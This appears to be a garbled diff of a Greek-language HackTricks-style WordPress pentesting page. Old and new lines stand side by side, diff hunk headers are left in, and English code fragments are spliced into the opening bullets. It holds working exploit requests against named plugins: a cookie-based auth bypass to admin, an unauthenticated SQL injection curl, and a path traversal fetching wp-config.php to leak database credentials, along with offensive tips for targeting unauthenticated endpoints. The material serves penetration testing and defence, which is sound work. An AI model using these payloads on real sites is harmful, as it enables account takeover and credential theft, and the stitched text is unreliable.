- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes. function service_finder_switch_back() {
- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation. if ( isset($_COOKIE['original_user_id']) ) {
- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. $uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
```
Γιατί είναι εκμεταλλεύσιμο
Defensive notes - Ο δημόσιος `init` hook κάνει τον χειριστή προσβάσιμο από μη αυθεντικοποιημένους χρήστες (χωρίς έλεγχο `is_user_logged_in()`).
- Η ταυτότητα προκύπτει από ένα cookie που μπορεί να τροποποιηθεί από τον client (`original_user_id`).
- Άμεση κλήση σε `wp_set_auth_cookie($uid)` συνδέει τον αιτούντα ως αυτόν τον χρήστη χωρίς έλεγχο capability/nonce.
- Dont rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly. Εκμετάλλευση (χωρίς αυθεντικοποίηση)
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters. ```http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
```
---
### Σκέψεις WAF για WordPress/plugin CVEs
Τα γενικά edge/server WAFs είναι ρυθμισμένα για ευρεία πρότυπα (SQLi, XSS, LFI). Πολλές ευπάθειες υψηλού αντίκτυπου σε WordPress/plugin είναι σφάλματα λογικής ή auth στην εφαρμογή που φαίνονται ως αβλαβής κίνηση, εκτός αν η μηχανή κατανοεί τα WordPress routes και τη σημασιολογία του plugin.
Επιθετικές σημειώσεις
- Στοχεύστε endpoints ειδικά για το plugin με καθαρά payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Δοκιμάστε πρώτα unauth paths (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads συχνά πετυχαίνουν χωρίς obfuscation.
- Τυπικές περιπτώσεις υψηλού αντίκτυπου: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Αμυντικές σημειώσεις
- Μην βασίζεστε σε γενικές WAF υπογραφές για να προστατέψετε plugin CVEs. Εφαρμόστε virtual patches σε επίπεδο application-layer, ειδικά για την ευπάθεια, ή αναβαθμίστε γρήγορα.
- Προτιμήστε positive-security checks στον κώδικα (capabilities, nonces, strict input validation) αντί για αρνητικά φίλτρα regex.
## Προστασία WordPress ## Προστασία WordPress
### Τακτικές ενημερώσεις ### Τακτικές ενημερώσεις
Βεβαιωθείτε ότι το WordPress, τα plugins και τα themes είναι ενημερωμένα. Επιβεβαιώστε επίσης ότι η αυτοματοποιημένη ενημέρωση είναι ενεργοποιημένη στο wp-config.php: Βεβαιωθείτε ότι το WordPress, τα plugins και τα themes είναι ενημερωμένα. Επίσης επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο wp-config.php:
```bash ```bash
define( 'WP_AUTO_UPDATE_CORE', true ); define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' );
``` ```
Επίσης, **εγκαταστήστε μόνο αξιόπιστα WordPress plugins και themes**. Επίσης, **εγκαταστήστε μόνο αξιόπιστα πρόσθετα και θέματα του WordPress**.
### Πρόσθετα Ασφάλειας ### Πρόσθετα Ασφαλείας
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/) - [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/) - [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
@ -592,15 +641,15 @@ add_filter( 'auto_update_theme', '__return_true' );
### **Άλλες Συστάσεις** ### **Άλλες Συστάσεις**
- Αφαιρέστε τον προεπιλεγμένο χρήστη **admin** - Αφαιρέστε τον προεπιλεγμένο χρήστη **admin**
- Χρησιμοποιήστε **ισχυρούς κωδικούς** και **2FA** - Χρησιμοποιήστε **ισχυρούς κωδικούς πρόσβασης** και **2FA**
- Περιοδικά **ελέγξτε** τα **δικαιώματα** των χρηστών - Περιοδικά **επανεξετάζετε** τα **δικαιώματα** των χρηστών
- **Περιορίστε** τις προσπάθειες σύνδεσης για να αποτρέψετε επιθέσεις Brute Force - **Περιορίστε τις προσπάθειες σύνδεσης** για να αποτρέψετε επιθέσεις Brute Force
- Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP. - Μετονομάστε το αρχείο **`wp-admin.php`** και επιτρέψτε πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP.
### Μη αυθεντικοποιημένη SQL Injection μέσω ανεπαρκούς επικύρωσης (WP Job Portal <= 2.3.2) ### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
Το πρόσθετο πρόσληψης WP Job Portal αποκάλυπτε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευάλωτο κώδικα μέσα στο `modules/category/model.php::validateFormData()`: Το πρόσθετο προσλήψεων WP Job Portal εξέθεσε μια εργασία **savecategory** που τελικά εκτελεί τον ακόλουθο ευπαθή κώδικα μέσα στο `modules/category/model.php::validateFormData()`:
```php ```php
$category = WPJOBPORTALrequest::getVar('parentid'); $category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' '; $inquery = ' ';
@ -610,19 +659,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM " $query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later . wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
``` ```
Προβλήματα που εισάγει αυτό το απόσπασμα: Προβλήματα που εισάγονται από αυτό το απόσπασμα:
1. **Μη φιλτραρισμένη είσοδος χρήστη** `parentid` προέρχεται απευθείας από το αίτημα HTTP. 1. **Μη-φιλτραρισμένη είσοδος χρήστη** `parentid` προέρχεται απευθείας από το HTTP request.
2. **Συνένωση συμβολοσειρών μέσα στην WHERE clause** δεν υπάρχουν `is_numeric()` / `esc_sql()` / prepared statement. 2. **Συνένωση συμβολοσειρών μέσα στο WHERE clause** δεν υπάρχει `is_numeric()` / `esc_sql()` / prepared statement.
3. **Μη-επαληθευμένη προσβασιμότητα** παρόλο που η ενέργεια εκτελείται μέσω του `admin-post.php`, ο μοναδικός έλεγχος που υπάρχει είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`. 3. **Προσβασιμότητα χωρίς αυθεντικοποίηση** παρόλο που η ενέργεια εκτελείται μέσω του `admin-post.php`, ο μόνος έλεγχος που υπάρχει είναι ένα **CSRF nonce** (`wp_verify_nonce()`), το οποίο οποιοσδήποτε επισκέπτης μπορεί να ανακτήσει από μια δημόσια σελίδα που ενσωματώνει το shortcode `[wpjobportal_my_resumes]`.
#### Εκμετάλλευση #### Εκμετάλλευση
1. Ανάκτηση νέου nonce: 1. Πάρτε ένα νέο nonce:
```bash ```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
``` ```
2. Εισαγωγή αυθαίρετου SQL εκμεταλλευόμενοι το `parentid`: 2. Κάντε ενέγχυση αυθαίρετου SQL εκμεταλλευόμενοι το `parentid`:
```bash ```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \ -d 'task=savecategory' \
@ -630,18 +679,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \ -d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id=' -d 'cat_title=pwn' -d 'id='
``` ```
Η απάντηση αποκαλύπτει το αποτέλεσμα του εισαγόμενου ερωτήματος ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi. Η απάντηση αποκαλύπτει το αποτέλεσμα του εισαχθέντος ερωτήματος ή τροποποιεί τη βάση δεδομένων, αποδεικνύοντας SQLi.
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2) ### Μη-επαληθευμένη Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Μια άλλη λειτουργία, **downloadcustomfile**, επέτρεπε σε επισκέπτες να κατεβάσουν **οποιοδήποτε αρχείο στο δίσκο** μέσω path traversal. Το ευάλωτο sink βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`: Μια άλλη ενέργεια, **downloadcustomfile**, επέτρεπε στους επισκέπτες να κατεβάζουν **οποιοδήποτε αρχείο στο δίσκο** μέσω path traversal. Ο ευάλωτος sink βρίσκεται στο `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php ```php
$file = $path . '/' . $file_name; $file = $path . '/' . $file_name;
... ...
echo $wp_filesystem->get_contents($file); // raw file output echo $wp_filesystem->get_contents($file); // raw file output
``` ```
`$file_name` είναι attacker-controlled και συνενώνεται **without sanitisation**. Ξανά, το μόνο εμπόδιο είναι ένα **CSRF nonce** που μπορεί να ληφθεί από τη σελίδα resume. `$file_name` ελέγχεται από attacker και συνενώνεται **without sanitisation**. Ξανά, η μόνη προστασία είναι ένα **CSRF nonce** που μπορεί να ανακτηθεί από τη σελίδα resume.
#### Exploitation #### Exploitation
```bash ```bash
@ -652,7 +701,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \ --data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php' --data-urlencode 'file_name=../../../wp-config.php'
``` ```
Ο διακομιστής απαντά με τα περιεχόμενα του `wp-config.php`, leaking DB credentials and auth keys. Ο server αποκρίνεται με τα περιεχόμενα του `wp-config.php`, leaking DB credentials and auth keys.
## Αναφορές ## Αναφορές
@ -663,5 +712,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/) - [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability) - [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/) - [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}